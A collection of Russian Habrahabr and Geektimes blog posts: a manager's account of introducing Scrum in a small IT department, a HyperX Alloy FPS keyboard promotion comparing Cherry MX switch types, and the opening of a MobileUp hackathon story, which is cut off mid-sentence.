заинтересована в публикации независимых объективных обзоров даджетов в разного рода СМИ. Компания «Даджет» с радостью предоставит даджеты блогерам и авторам, желающим протестировать их и написать обзор. Устройство после написания обзора остается у автора. Компания не пытается указывать автору, что именно писать о нашем товаре, но просит показать статью до публикации. В этом случае есть возможность уточнить информацию и предотвратить ошибки. Учитывать ли комментарии компании или нет, всегда остается на усмотрение автора. Подробнее...
https://geektimes.ru/company/dadget/blog/283650/
habrahabr
Как мы познакомились с Agile & Scrum
['scrum', 'agile', 'управление проектами', 'управление командой']
Введение Не в коем случае не хочу утверждать, что это гайд по тому, как вводить Scrum, — это лишь опыт введения и адаптирования Scrum’а под нужды одной компании. Данный опыт может быть...
Введение Не в коем случае не хочу утверждать, что это гайд по тому, как вводить Scrum, — это лишь опыт введения и адаптирования Scrum’а под нужды одной компании. Данный опыт может быть интересен/полезен, как новичкам: основные наводки, этапы, циклы и т.п., так и профессионалам: обсудить что пошло не так, чего делать не стоило и т.п. Подчеркну, то что у нас вышло — это лишь нечто напоминающее Scrum. Предыстория, с чего все началось, как пришли к тому что нужен Scrum Я работаю руководителем IT-отдела (менеджером проектов) в одной маленькой/средней томской фирме. Численность работников в IT-отделе на начало деятельности: 5 человек, на данный момент: 24 человека. На начальном этапе я был геймдизайнером, но постепенно перекочевал в стан проект менеджеров. Примерно, это случилось летом 2014 года, данное время и будем считать начальной точкой. Как и большинство начинающих управленцев, я ринулся изучать материалы: искать в интернете, смотреть записи конференция, читать книги, общаться со старшими собратьями из других фирм, приобрел кучу знаний, как я считал на тот момент (это естественно было ошибкой). И я, амбициозный и одухотворенный новыми целями и задачами, ринулся в бой. Я считаю основной проблемой начинающего управленца: отсутствие или неправильная коммуникация с работниками. Причин этой проблемы может быть много: отсутствие опыта, недоверие со стороны работников, незнание основных технических/бизнес процессов и т.п. Но мне повезло в данном вопросе. Изначально я тесно работал с разработчикам, являясь геймдизайнером, а до этого я немного поработал программистом при полном отсутствии менеджмента, поэтому у меня было некое видение чего же не хватает. Как все было до Scrum Изначально у нас был развернут старенький Redmine без всяких плагинов и настроек, можно считать его практически чистым, TeamCity (бесплатный) для обеспечения хоть какого-то билдинга, SVN, куда же без репозитория. В Общем все работало. Задачи ставились в redmine, по мере выполнения проставлялись часы а иногда и проценты выполнения, но зачастую не было ни сроков ни каких-то планов, очень везло, если был хотя бы обговоренный dead-line. И тут настало мое время. Руководство дало мне добро на применение всего, что душе угодно (принесет больше прибыли). Как я уже писал выше — это лето 2014. На тот момент с Agile мы были еще слабо знакомы, университетский курс и пару статей. Поэтому у нас еще не возникало мыслей о какой-то гибкости, и мы начали действовать по старинке (возможно, мысли возникали, но отсутствие опыта и что-то еще не давало им пробиться дальше). Изначально мы зафиксировали наши основные задачи на досках, которые у нас висят практически в каждом кабинете. Выглядело, это примерно так: Естественно все было перенесено и в электронный вид: по некоторым задачам зафиксировано в redmine в виде feature или epic, по некоторым в старом добром Excel, также поставили важность и приблизительные сроки выполнения задач. Потом мы приступили к декомпозированию и оценке задач с каждым работником, который будет выполнять задачи. Получился набор feature с sub-tasks и оценкой сроков выполнения задач. Получился своеобразный backlog, но с ним дальше нужно как-то работать, сам по себе он не дает результатов. Диаграммы Гантта За некоторое время до этого я сталкивался с Диаграммами Гантта (ленточные диаграммы) в фирме, в которой работал программистом. Сделал пару диаграмм по нашим проектам, наброски показал руководству, и эта методика им понравилась. И я приступил к изучению инструментов, которые позволили бы мне в наилучшем виде сделать эти самые диаграммы. Мной были опробованы: Множество десктопных программ , к примеру: гант-планинг и многое другое, которые можно с легкостью найти в интернете, часть из них были отвратительного качества, часть платные. Единственная, которую я могу отметить — Gant Project. Она достаточно удобная, позволяет с легкостью и быстро построить нужные диаграммы. Минусы: из за того что у меня была бесплатная версию, не позволяла выгрузить в нужном формате и отсутствие возможности командной работы над одним проектом. 1С Битрикс CRM . На тот момент у нас активно внедряли данную программу на предприятии. Она позволяла строить диаграммы с некоторой ограниченностью по функционалу. Минусы: перегруженность по интерфейсу, отсутствие возможности изменять цвета на диаграмме (мне это очень не нравилось), опять же, на тот момент отсутствовала возможность выгрузки в нужном формате (сейчас она вроде есть). Большой плюс — возможность командной работы, но нам в отделе it работа в этой программе не особо понравилась. Redmine. Тут все просто — ставишь задачи со сроками, и диаграммы сами по себе появляются. Минусы: если ты строишь гипотетические планы с привлечением многих разработчиков и хочешь увидеть по планам, что да как, то разработчики это все видят и у них все это начинает захламлять рабочее пространство и опять же, нет возможности делать красивые цвета. MS Project . Его я на тот момент по какой-то причине упустил, позже я его активно использовал и мне все понравилось, кроме трудности настраивания командной работы. Мегаплан . Старая CRM-система компании. Сразу отмел, было все не удобно. MS Excel . Старый добрый, для некоторых планов до сих пор иногда использую. Вот так выглядели планы: В итоге , потыкавшись с некоторыми программами и время от времени их меняя, мы несколько месяцев вели проекты с активным использованием диаграмм Гантта. Руководству это все нравилось, они видели четкие и утвержденные планы, и, вроде как, все устраивало, за исключением небольшого НО (большого). Это НО , Руководство и не только: маркетологи, отдел продаж и т.п. постоянно продавливали какую-либо разработку в план в самые неподходящие моменты. Это приводило к тому, что нужно было полностью перестраивать план и смещать задачи разработчиков, с придумыванием новых задач на время простоя, если такое появлялось. Когда в команде было мало человек, то особых проблем не возникало, сдвинуть пару человек ничего особо страшного, но когда от завершения одной задачи стало зависеть более двух человек, а иногда пропихивания приводили к тому, что задачи вообще исчезали, то перестраивать планы стало проблематично. Вот тут то и возникла потребность в чем-то ином. Какие потребности были Собрав feedback от руководства и главных действующих лиц компании, был сформирован некий список того, что же хотелось увидеть: Прозрачность разработки. Каждый отдел (в частности руководители) должен был видеть, что же в разработке на данный момент и когда будет следующий результат. Внесение изменений в разработку в любой момент. Директор хотел влиять на ход разработки оперативно. Отчетность о результатах. Руководство хотело видеть мероприятия по отчетности. Пул задач со временем выполнения и приоритетностью Также был собран feedback от разработчиков: Более подробная оценка срока выполнения задач. Минимизация последствий вмешательства в разработку извне. Повышение осведомленности разработчиков о поступающих задачах заблаговременно. Предоставление полной картины на выполняемые проекты. Что рассматривал еще Введение жесткого регламентированного “waterfall”, чтобы нельзя было прерывать процессы. Но все такие возможность прерывать пересилила у руководства. Kanban, но как то не особо пошло дальше, точных причин указать не могу. Вариант: “ну с богом”, но он уже всех достал! Почему Scrum удовлетворяет потребности Гибкость. Практически в любой момент можно пересмотреть приоритеты и внедрить новые features. Прозрачность. Sprint-list у каждого на почте (у главных действующих лиц) и изначально я его вешал в каждом кабинете. Также можно зайти в кабинет со Scrum-desk и посмотреть кто чем занимается в данный момент. Отчетность. Демонстрации по окончанию sprint'a, достаточно хорошая процедура, которая дает понять (в какой-то мере) что же вышло в результате. Подробная картина проекта (зависит от степени декомпозиции backlog’а). Постоянно обновляющийся дает некое видение проекта, как программистам так и руководителям. Безопасность разработчиков. Разработчики в безопасности от вмешательств извне, хотя бы во время sprint'a. Более подробное проектирование/планирование. Задача не берется в sprint пока она полностью не понята разработчиками, либо устраивается мини sprint — аналитики/проектирования. Постоянное, циклическое улучшение процессов. Feedback после демонстрации никто не отменял. Ежедневные планерки (митинги), также дают положительный прирост по улучшению процессов. И ретроспектива: улучшим все, что было плохо! Как донес до всех Основные концепции разработчики и так понимали из статей, так что с ними проблем практически не возникло, все восприняли с энтузиазмом. Основной проблемой было руководство, но так как оно в процессах практически не участвует, то нам и карты в руки. Как изучил? Что смотрел? Какие ресурсы? Какие книги? Общение с профессионалами Мы общались с менеджерами из других фирм, узнавали, что и как у них. Смотрели какие отклонения от нормы они делали, смотрели, как и что может быть применено у нас. Сказать честно: особо ничего не почерпнули. Основной вывод: все действуют, как им заблагорассудится (какой Agile удобен для них). Чтение статей Нами было пересмотрено кучу статей, какие именно фигурировали, вспомнить уже никто не может. Но их было множество. Времени на это было выделено предостаточно. Естественно все упирается в Agile Манифест, большинство статей и сайтов ссылаются на него, так что мы не стали исключением, и брали его, как первоисточник. (ссылка есть в источниках и ссылках) Чтение книг Книг было пересмотрено не много. Часть из тех, которые советовали мельком поглядывали, но ничего отличающегося не находили и переставали читать. Основной (для себя), я считаю, “Agile и XP заметки с передовой” её я прочел раза три, и всегда, если мне задают вопрос: “Как узнать про Scrum?” -, я называю её. (ссылка есть в источниках и ссылках) Начало внедрения Документ с основными мероприятиями Расписали основные мероприятия и сформировали небольшой список с описанием действий, раздали всем работникам для ознакомления. На тот момент он был, естественно, далек от совершенства. (ссылка есть в источниках и ссылках) Карты Естественно нужно было где-то достать карты для Poker-planning. пересмотрели в интернете ряд магазинов, стоимость колоды для четырех человек варьировалась от 1000 рублей до 2000 рублей. Денег просить у руководства мне особо не хотелось, и поэтому я их сделал сам. Обычная бумага А4, черно-белый принтер, ножницы, — вот что вышло: Множество раз пытался их переделать, цветной принтер, картон и многое другое, но эти старые добрые карты (не в полном составе) служат до сих пор. Интересный факт. Надеюсь я ничего не перепутал. Один из немногих на тот момент магазин по продаже колод карт, который мне мне понравился — planningpoker.ru. Подумал тогда, какие же прикольные карты. Позже, спустя несколько лет на конференции директор фирмы, которая организовала этот магазин, подарил мне одну из таких колод совершенно случайно. (ссылка есть в источниках и ссылках) Доска Следующий важный этап, это подготовка Scrum-desk, взял обычные ватманы, пару А3 и А4, маркеры, скотч и др. И получилось довольно таки неплохо: Что получилось в результате подготовки Команда, которая ознакомилась с основными этапами; Подготовленный Redmine, составлен список задач; Подготовленный Poker-planning; Подготовлена Scrum-desk; И куча энтузиазма. Первый опыт, первый sprint Backlog Первый backlog мы строили в MS Excel, разбили все, как нужно на колонки: Естественно, присутствует еще ряд колонок, которые не вошли на рисунок, но это другая история. Подчеркну, у нас получились именно задачи (feature), а не пользовательские желания (user-story), как это принято в Agile. Первый sprint было принято решение сделать двухнедельным. Расставили приоритеты, отсортировали, пометили зеленым, что хотелось бы взять на sprint, расставили story-points. Хм, что такое story-point?! Как довел до сведения разработчиков. Story-point — день На систему оценки в story-points — идеальные человеко дни, перейти достаточно сложно и непонятно для разработчиков. Как мы объясняли story-point — это идеальный восьмичасовой рабочий день разработчика, когда у него есть все под рукой, ничто не отвлекает его от работы (уже заметны проблемы, есть все и не мешает хм...), он находится в изолированном от других помещении, где есть свежий воздух, еда, чай/кофе, туалет и он продуктивно выполняет поставленную задачу, решение которой ему полностью ясно. Некоторые вещи еще добавлялись при объяснении новичкам, но они особо не имеют значение. Распределение ролей В нашей компании практически нет cross-разработчиков? есть отдельные тестировщики и мы разрабатываем под различные платформы. Соответственно, мы слабо ложимся на одно из понятий Scrum, как унификация работников. Мы им пренебрегли и в первом sprint’е у нас участвовали разные разработчики в одной команде. Планирование Были распечатаны все features из backlog’а, которые должны были пойти в sprint, и мы начали оценку. Какие действия на планировании sprint'a нами предпринимались: Прилепить все листочки на доску. Объявляем цель, к которой нужно прийти выполнив sprint, к сожалению (может быть к счастью) у нас было несколько целей, единой цели не было, так как в планировании участвовали разработчики из разных проектов. Ведущий разработчик всем рассказывает про каждую feature по отдельности. Если возникают вопросы то они тут же решаются. Начинаем декомпозировать каждую feature на subtasks и опять же объяснять почему именно так, а не по иному. Если все задачи декомпозированы и понятны, начинаем оценку при помощи Poker-planning. Называется одна sub-task, и разъясняется еще раз, если кому-то не понятно. Все разработчики, которые компетентны выполнять данную задачу (зачастую, практически все), выкладывают карты рубашкой вверх на стол с цифрой, которая равна story-points на выполнение данной задачи. После того, как все выложили карты, переворачиваем карты. Если есть сильные расхождения, то разработчик, который выложил оценку расходящуюся с остальными, объясняет остальным, почему возникла данная оценка. Если он чего-то не понял, то ему еще раз все объясняют. Далее, переоценка. Если нет сильных расхождений, то оцениваемой sub-task присваивается значение, которое ей присвоили разработчики. Таким образом оцениваются все sub-tasks, из сумм sub-tasks складывается оценка feature. Если оценки features сильно расходятся с предварительной оценкой, нужно позже принять меры. Набираем features на sprint. Для первого sprint'a мы установили, что наши разработчики могут выполнять примерно семь story-points в двухнедельный sprint. Соответственно, если их пять, то можно взять задач на 35 story-points. Мы взяли больше — 39, как позже оказалось это было ошибкой. Вывешиваем взятые features на Scrum-desk. Назначаем время ежедневных планерок (митингов), дату и время демонстрации. Начинаем работу. Первая планерка прошла удачно, заняла примерно 4 часа при участии 5-6 человек. Естественно (как оказалось для нас), взяли в sprint далеко не все, что изначально планировали. На планерке часть времени присутствовал директор, и ему и команде данное мероприятие очень понравилось, и команда с рвением приступила к выполнению features. Составили Scrum-list (в MS Word): (ссылка есть в источниках и ссылках) Обязательно название sprint’а и команды. Обозначенная цель, основная задача команды, выполнить цель. Backlog sprint’а — features, которые должны быть выполнены для достижения цели. В скобках оценка в story-points. Те же задачи висят и на Scrum-desk. Обозначенные сроки sprint'a, а также время и место ежедневных планерок (митингов) и демонстрации. Перечисление членов команды, в скобках процентная занятость в данном sprint’е, если ничего нет, значит 100%. Изначально, я распечатывал данный лист и развешивал его в каждом кабинете, а также рассылал по почте основным действующим лицам. Но позже выяснилось, что это лишь трата бумаги и это особо никому не нужно, хватало одного листа (в дальнейшем больше, когда стало больше it кабинетов) в кабинете разработчиков. Зачем нужен лист? Для того чтобы другие команды и вовлеченные в проект люди представляли какие задачи в данный момент выполняет та или иная команда. А также для того, чтобы видеть какой результат будет через определенный промежуток времени. Ежедневные планерки На первую планерку все явились, как по часам, что не радует (в дальнейшем было все не так радужно). Собрались, начали обсуждать поочередно у кого как что идет, вопросов и проблем ни у кого не было. Перешли к Scrum-desk. Доска задач в бумажном виде Начали двигать стикеры и тут уже столкнулись с проблемой, так как стикеры были приклеены к ватману на скотч, отдирать их и переклеивать составляло некоторую проблему. С этим с горем пополам справились (в дальнейшем приобрели сноровку и это не составляло проблему). Стали проставлять сожженные story-points, и тут возник некий вопрос: не у кого из разработчиков не было проблем и вопросов, а story-points сожгли то не достаточно. Причина, как обычно банальна: у кого-то просто некоторое время ушло на раскачку и он просто не все время делал свою задачу, кто-то вел подготовительные работы, которые в sprint не были никак заложены и в том же духе. В итоге у нас вышло нечто похожее: Изначально стикеры просто лепились на доску, но со временем стали их закреплять дополнительно на скотч, было пару прецедентов когда все слетало. Позже появилось еще пару столбцов типа: in testing, code review и т.п. Зачем нужна burn-down? Burn-down нужна для того чтобы можно было отслеживать прогресс выполнения sprint’а у команды, а также для того чтобы в визуальном виде можно было видеть отклонения от выполняемого плана по времени. Основная цель burn-down: показать команде (так как у нас самоорганизующиеся команды), что нужно принять оперативные меры, если произошло отклонение. Как строить burn-down? Множество инструментов позволяют строить burn-down диаграммы в электронном виде, мы воспользовались MS Excel, а также строили на ватмане. Изначально (позже появлялись дополнительные столбцы) наша таблица содержала: Первый столбец — это даты начиная с первого рабочего дня по последний рабочий день sprint’a. Второй столбец — Сколько осталось сжечь story-points. Каждый день во время планерки появляется значение. Третий столбец — эталон идеального сжигания story-points командой во время sprint’a, Идеально сжигать в день = Количество story-points взятых на sprint/ число дней. К сожалению в бумажном виде не сохранилась, недавно была глобальная уборка, весь хлам выбросили. В электронном виде делали при помощи MS Excel: Как видно по диаграмме — первый sprint прошел практически удачно, небольшие отклонения от идеального исполнения. НО , как гласит правило: Если по окончанию sprint'a есть не сожженные story-points, то sprint провален. На это правило, на тот момент, мы закрыли глаза и радовались успешному завершению sprint'a! Демонстрация Пришло время продемонстрировать руководству результаты sprint'a. “Команда” (менеджер) подготовила свою презентацию, в дальнейшем каждый член команды делал свою часть. Изначально не было стандарта презентации. Собралось много зрителей: руководство, часть отдела продаж и маркетинга. Презентацию делали в MS Powerpoint: В первой презентации было всего четыре слайда, по этой причине разработчикам тяжело было демонстрировать, так как не было слайдов того о чем рассказывать, но в дальнейшем мы исправились. Где и как проходила демонстрация Так как у нас, на тот момент, не было conference-room презентация проходила в кабинете разработчиков, достали проектор и светили на стену. Изначально выступил менеджер (я) рассказал для чего все тут собрались, рассказал основные цели и задачи sprint’a, и начали выступать по очереди разработчики, завершилось все выступлением менеджера с демонстрацией burn-down диаграммы и вопросами со стороны публики. Основные задачи менеджера на демо: Ввести всех в задачи и цели sprint'a; Фиксировать все вопросы и предложения во время выступления разработчиков; Отвечать на вопросы, помогая разработчику; Фиксировать все недочеты/положительные стороны в выступлении разработчиков; Подвести итог sprinta с демонстрацией burn-down; Зафиксировать и ответить на все вопросы по окончанию презентации; Получить feedback. Разработчики на первой демо На первой демонстрации, как в прочем еще sprint'ов десять, разработчики рассказывали для себя: применение сложной терминологии, углубление в предметную область, демонстрация результатов не для обычных людей. На начальных sprint'aх, иногда и сейчас, приходилось перефразировать, резюмировать демонстрацию разработчиков, для того чтобы заинтересованные люди могли понять о чем идет речь. Публика на демо Со стороны публики было много отвлеченных вопросов, которые косвенно относились к демонстрируемому sprint’у, на которые они очень хотят получить ответ, — это очень затягивает демонстрации и по сей день. Первая демонстрация длилась часа полтора. Ретроспектива Первый sprint прошел удачно и для разработчиков. Отзывы были только положительные. Какие улучшения были обсуждены на первой ретроспективе: Нужно делать больше слайдов в презентацие; Не звать на демонстрацию людей, которые косвенно относятся к проекту; Некоторые технические тонкости по улучшению оборудования работников; Более подробно обсуждать features на планировании, по ходу sprint’a выяснились некоторые нюансы, которые не были учтены. Feedback от руководства Все понравилось, требуется больше слайдов в презентацие. Руководство захотело привязывать премиальную часть ЗП разработчиков к результатам демонстрации sprint'a: заинтересованные лица проставляют субъективные оценки каждому разработчику с проставлением критериев этой оценки, оценка менеджера — среднее арифметическое из всех оценок. Данная система не особо прижилась, но это уже совсем другой рассказ. Как все пошло После первого sprint’a уже много воды утекло, было предпринято множестве действий по оптимизации процессов, некоторые имели какой-то profit, многие нет. Какие меры предприняли Объединение команд, почему случилось Изначально у нас было две команды разного профиля разработки, у каждой был собственный Scrum c блэкджеком и Scrum-desk. Но так как у нас всегда, и сейчас, есть просадки с менеджментом (я фактически один), то у меня не хватало времени на организацию процессов по планированию/ведению/демонстрации на две команды. По этой причине нами было принято решение объединить команды в одну. Да, — это помогло выиграть некоторое время, но, Нет, — это не дало положительных результатов. Такое продлилось четыре sprint'a, но так как у команд был совершенно разный профиль разработки, разработчикам было совершенно незачем работать вместе. Разделение команд Со временем работников становилось больше и становилось больше направлений разработки, появлялись то мобилки, то еще что-нибудь. Как я говорил в пункте с объединением команд, людям совсем не за чем работать вместе, если между ними нет прямой связи в разработке проектов. Соответственно, мы разделили команды по разным направлениям. Да, — это дало продуктивный результат для каждой отдельной команды, но каждая команда, сожрала уйму времени менеджера. Варьирование времени sprint'ов Попробовали различные вариации: Двухнедельный sprint. Оптимальное соотношение работ по разработке и работ по планированию. Но есть некий минус, — за временной промежуток в две недели появляются дополнительные (smart или срочные задачи от руководства) задачи, которые нам приходится делать, по этой причине не всегда sprint заканчивается удачно. Недельный sprint. Соотношение больше в сторону работ по планированию. Но сторонних задач почти нет, все sprint'ы заканчиваются успешно. Четырехнедельный sprint. Получаются очень сильные отклонения в результатах sprint'a. Самый неудачный для нас sprint. В итоге мы остановились на двухнедельных sprint’ах. Перешли на доску с маркерами Отказались от ватманов, некрасиво смотрится, разработчикам не нравилось это на обоях. И решает проблему с отрыванием скотча от бумаги. Но, появилась новая проблема — клей на доске. Также пропала burn-down диаграмма в бумажном виде, так как я стал выводить изображение диаграммы на телевизор в кабинете разработчиков. Следующий этап: стали писать ежедневные таблицы митингов маркерами на доске: Таблица содержит: число, столбец сжигания задач не из плана, столбец сжигания задач из плана. Перешли на облачное решение: google doc Отказались от продуктов MS, перешли в облачное решение google doc. Также был модернизирована Scrum/Sprint -list. Основное отличие от первого варианта листа: задачи разбиты по каждому работнику и они декомпозированы. (ссылка есть в источниках и ссылках) Стали вести burn-down диаграммы в google таблицах. С течением времени стали добавляться еще значения в таблицу: Так как при длительном sprint'e у нас появилась тенденция: не укладываться в sprint (запасы пробовали брать, ни к чему хорошему не привело), ввели новое значение — off-plan, которое показывает график с учетом сжигания не запланированных задач. Далее пошли еще дальше, ввели еще три значения: Real, Off-plan (error) и Off-plan (extra): Графики отражают: Ideally. Как и обычно — то как нужно сжигать. Plan. То как сжигаются запланированные задачи. Off-plan (error). То как сжигаются запланированные задачи и задачи, которые не были учтены в плане, — ошибки при планировании. Off-plan (extra). То как сжигаются запланированные задачи и задачи, которые не относятся к задачам sprint’a (smart и пришедшие от руководства). Real. То как сжигаются задачи реально = план + ошибки + экстра. Перешли в google презентации Удобное решение, можно работать всем одновременно: Сейчас у нас гораздо больше слайдов, чем было вначале, но получается более четкая презентация и занимает меньше времени. Попробовали плагин для Redmine Поставили плагин для Redmine, его название — Backlog’s. Дает возможность организовывать работу с backlog’ом продукта и sprint’ами через Redmine: У данного плагина есть электронная доска задач, которая полностью повторяет функционал той, которая у нас была вначале в реальном виде. Все столбцы подхватываются из Redmine, — это значение статуса задачи. Sprint замещает значение и функционал «версии» в Redmine. Достаточно удобный плагин, мы его используем и сейчас. Ввели регалиеметр Отражает суммарно сожженные story-points каждого работника за все sprint'ы. Стимулирует работников работать более продуктивно, каждый работник способен брать на sprint определенное количество story-ponts. Видя, что другие ребята работают продуктивнее него, работник предпринимает попытки, чтобы достигнуть более хороших результатов. У нас среднее количество story-points на двухнедельный sprint — это семь. Какие улучшения дали нововведения В первую очередь все нововведения направлены на улучшение производительности и на сокращение времени на планирование и сопутствующие работы. Переход в облако и на полностью электронную работу значительно сократил время на работы по планированию. Что же происходит сейчас? На данный момент существует проблема: количество работников велико для одного менеджера и мы не успеваем проводить все работы по планированию. Что делать с этим мы знаем. Пытаемся действовать по наработанной схеме. Дало ли результаты? Придуманная и внедренная система дает следующие результаты: Общедоступность материалов по работе команд. Быстрые условия для планирования новых sprint’ов, весь backlog уже содержится в системе и он в реальном времени пересматривается. Легко и быстро назначать запланированные задачи на работников, так как они уже в системе и только нужно назначить исполнителя. Стимуляция работников к увеличению продуктивности работы (регалиеметр далеко не единственный инструмент). Простота работы с документацией, так как все в облаке. Простота контроля работ, опять же, все в системе. Что планируем делать дальше В данный момент у нас, опять, активно внедряется 1С Битрикс, руководство хочет чтобы все работники были в одной системе. Планируем изучать новый инструментарий и смотреть, как нашу работу можно перенести в CRM. На данный момент есть кое-что на примете: доска для Битрикса — scrumban.ru. (ссылка есть в источниках и ссылках) Есть планы при помощи MS Project применять метод освоенного объема в параллели ко всей нашей системе. Заключение В заключении хочу повториться, что это не в коем случае не гайд, а лишь опыт одной небольшой фирмы. Надеюсь что после прочтения статьи у вас останутся лишь позитивные мысли и вы вынесете для себя нечто полезное, а может быть и опыт, как делать нельзя. Источники и ссылки: » Книга: «Scrum и XP: заметки с передовой» » Agile-манифест » Документ с основными мероприятиями » Scrum-list (первый ) » Ссылка на магазин, где купить Poker planning » Scrum-list по прошествию времени » Доска для Битрикса
https://habrahabr.ru/post/318002/
habrahabr
HyperX Alloy FPS — Красный, синий, коричневый — выбирай себе любой
['hyperx', 'alloy fps', 'игровая клавиатура', 'ни шагу назад']
Привет, Гиктаймс! Как известно, никогда не следует спорить с тем, кто печатает быстрее тебя. Да и играть с теми, кто ловчее перебирает пальцами по клавиатуре не самое удачное времяпрепровождение....
Привет, Гиктаймс! Как известно, никогда не следует спорить с тем, кто печатает быстрее тебя. Да и играть с теми, кто ловчее перебирает пальцами по клавиатуре не самое удачное времяпрепровождение. Тренировка, тренировка и еще раз тренировка! Ну и качественный спортинвентарь — для тех, кто любит себя больше, чем соперника, HyperX дает возможность не просто использовать отличную клавиатуру, но и выбрать тип переключателей под себя. В новинках используются механические переключатели Cherry MX Red или Brown, версия с MX Blue уже побывала в руках экспертов . Это позволит каждому пользователю подобрать клавиатуру с наиболее подходящими ему параметрами – силой нажатия и длиной хода клавиши до срабатывания. Кроме того, клавиатура HyperX ALLOY FPS является полноразмерной, но занимает на столе минимум места и не ограничивает свободу перемещения мыши, что очень важно для жанра FPS. Cherry MX Blue Первый вариант — свичи, предназначенные в первую очередь для печати. При нажатии вы сначала чувствуете рост сопротивления, затем — резкий провал и срабатывание клавиши. Переключатели громкие, тактильно очень понятные и яркие, но не самые комфортные для динамичных игр типа шутеров или каких-нибудь аркад. Дело в том, что пружине требуется время на то, чтобы поднять прозрачный «колпачок» и соединить его с толкателем для повторной работы, и эта задержка между повторными нажатиями одной клавиши, а также невозможность делать множество быстрых прожимов «на грани срабатывания» может подвести вас. В принципе, для казуальных игроков подойдут и голубые свичи, особенно если учесть тот факт, что при печати они дают просто непередаваемые ощущения и заставляют просто влюбиться в сам процесс набора текста. Для более активных игроков, не готовых расстаться с приятными ощущениями от печати, существует второй вариант. Cherry MX Brown «Коричневая» линейка микропереключателей — это компромисс между скоростью и ощущениями. До недавнего времени клавиатуру на них найти было практически невозможно: производители обычно ставили либо “синюю” серию, либо “чёрную” или “красную”. Подвижный элемент, который «падает» вниз у «синей» линейки здесь составляет единое целое с толкателем. Обратите внимание на форму язычка, который прогибает пружину: она с таким же горбом, как и у Cherry MX Blue, то есть тактильный клик и ощущение нарастания сопротивления до прохождения точки срабатывания остаётся, а вот аудиальный кликер и задержка возврата — отсутствует. Оптимальный вариант для тех, кто любит и в шутеры погонять, и покодить (написать пост) просто приятные ощущения от печати. Ну а для TRUЪ-задротов (или любителей посидеть за компьютером ночью) есть третий вариант. Cherry MX Red Красные микропереключатели имеют линейный язычок. Они наиболее лёгкие в линейке Cherry MX, тактильный клик в точке срабатывания у них отсутствует. Нажатия почти бесшумные, не сильно отличаются от качественных клавиатур в ноутбуках, тактильно — очень мягкие и плавные. К тому же в «красной» линейке используются более мягкие пружины (версия с классическими пружинами называется Cherry MX Black, но Alloy с такими свичами не выпускается). Красная серия — достаточно редкий гость в клавиатурах, и стала набирать популярность буквально год назад, когда игроки распробовали «мягкую» линейку свичей и оценили уменьшение усталости пальцев в длительных игровых сессиях. Обычно клавиатуры собираются с “чёрной” серией, у которой сопротивление нажатию выше. Красная светодиодная подсветка клавиш может работать в шести режимах, включая пользовательский. Кроме того, клавиатура поддерживает специальный игровой режим, в котором кнопка Windows отключается, чтобы избежать случайных нажатий, а также функции anti-ghosting и N-Key rollover (NKRO). Чтобы игрокам было ещё удобней, в задней части HyperX ALLOY FPS расположен порт USB для зарядки различных устройств, а в комплект поставки клавиатуры входят сменные красные клавиши WASD/1234, съёмный кабель в тканевой оплётке и мягкий чехол для защиты устройства при транспортировке. Игровая механическая клавиатура ALLOY FPS уже в наличии в розничных сетях дистрибьюторов HyperX и интернет-магазинах. Рекомендуемая розничная цена новинки – 8 990 рублей. Все клавиатуры защищены двухлетней ограниченной гарантией и легендарным качеством обслуживания HyperX. Но под Новый год, происходят разные чудеса и мы предлагаем скидку в 1500 рублей на игровые механические клавиатуры HyperX Alloy в сети DNS! Акция распространяется на модели с переключателями Cherry MX Blue/Red/Brown актуальна до 25 декабря. Торопитесь, хороших клавиатур много не бывает.
https://geektimes.ru/company/kingston_technology/blog/283846/
habrahabr
«Шрекатон», или Как проходит хакатон в MobileUp
['хакатон', 'корпоративная культура', 'разработчики', 'hackathon', 'мотивация', 'mobileup']
Пока большинство программистов участвуют в обычных хакатонах, доблестные дроиды из Мобайлапии устраивают «Шрекатон»: спасают принцессу посредством программирования и решения логических задач. 9...
Пока большинство программистов участвуют в обычных хакатонах, доблестные дроиды из Мобайлапии устраивают «Шрекатон»: спасают принцессу посредством программирования и решения логических задач. 9 декабря мы решили провести хакатон, чтобы немного отвлечь специалистов от рутинной работы и мотивировать на новые подвиги. Брать готовые задачи или аналогичные рабочим – скучно, поэтому я придумал свой сюжет. Теперь хочу поделиться подробностями игры и рассказать о том, как поглумиться над сотрудниками организовать нескучный хакатон своими силами. Все разработчики MobileUp разделились на смешанные команды по 2 человека: iOS-разработчики с Android-разработчиками, Android-разработчики с R&D-инженерами, Backend-разработчики c iOS-разработчиками и так далее. Первый челендж состоял в том, чтобы решить, на каком языке программировать. На рабочих местах я спрятал QR-коды, которые открывали доступ к сказочной легенде, герои которой имеют поразительные сходства с реальными работниками компании. И хотя надпись гласила: « все имена и события выдуманы, совпадения считать случайными », – я всё же решил ввести маленький дескриптор (или список действующих лиц) для читателей Хабра: Список действующих лиц Шрекатона Шрекозавр – альтер-эго нашего руководителя проектов Олега Широкова. Он занимается капоэйрой и любит оценивать шутки по балловой системе вроде: «Это шутка на соточку». Беатическая царевна-Олягушка – персонаж, прообразом которого стал менеджер по маркетингу и PR, c редким именем Беата. Сержуй I Великолепный – несложно догадаться, что речь идёт о генеральном директоре MobileUp, которого у нас принято называть Серж. Няшный котик – директор по развитию Виктор Черногоров. Он сам так себя прозвал. Айлёша Попович – iOS-разработчик Алексей Немыченков. Very Тролль – iOS Team Lead Виталий Зарубин с никнеймом Very Zloy. Известен своими редкими, но едкими комментариями. Кос Тянь – Android Team Lead Константин Цховребов (@terrakok). Тимон – сурикат из мультфильма «Король Лев», или iOS-разработчик Николай Тимонин. Полиндроид – iOS-разработчик Полина Демидова. Говорят, что она очень любит печеньки и всегда носит их с собой. Dark Lord – автор этого безумия, технический директор MobileUp, Евгений Валеев. Пендальф Белый – в противовес тёмному Жене у нас есть светлый Женя Денисов, руководитель проектов. Будем знакомы. Итак, начнём нашу историю: «В некотором царстве, в двадцать первом (по версии Тэглайна) государстве Мобайлапии случилось горе – злобный Шрекозавр похитил Беатическую царевну-Олягушку, и заточил её (не в смысле съел) в своем замке Парад-Дур. Расстроился король Мобайлапии Сержуй I Великолепный, но не приуныл и решил действовать. А так как король «Великолепный», а не «Храбрый», то не пошёл он сам биться с Шрекозавром, а объявил награду тому, кто спасет принцессу. Много разных iОблестных дроидов откликнулось – все хотели царство и пол царевны в награду. Пожаловали и легендарный русский богатырь Айлёша Попович, и великий китайский дроид Кос Тянь, и знаменитый крымский Тимон, и умудренный опытом Very Тролль, и даже старый добрый вологодский Полиндроид. Не явился только убелённый сединами славный Пендальф Белый – нечем ему было сражаться с силой нечистой, потому что в его арсенале были только знания html, с которыми он мог победить разве что маленьких пехепешников, да 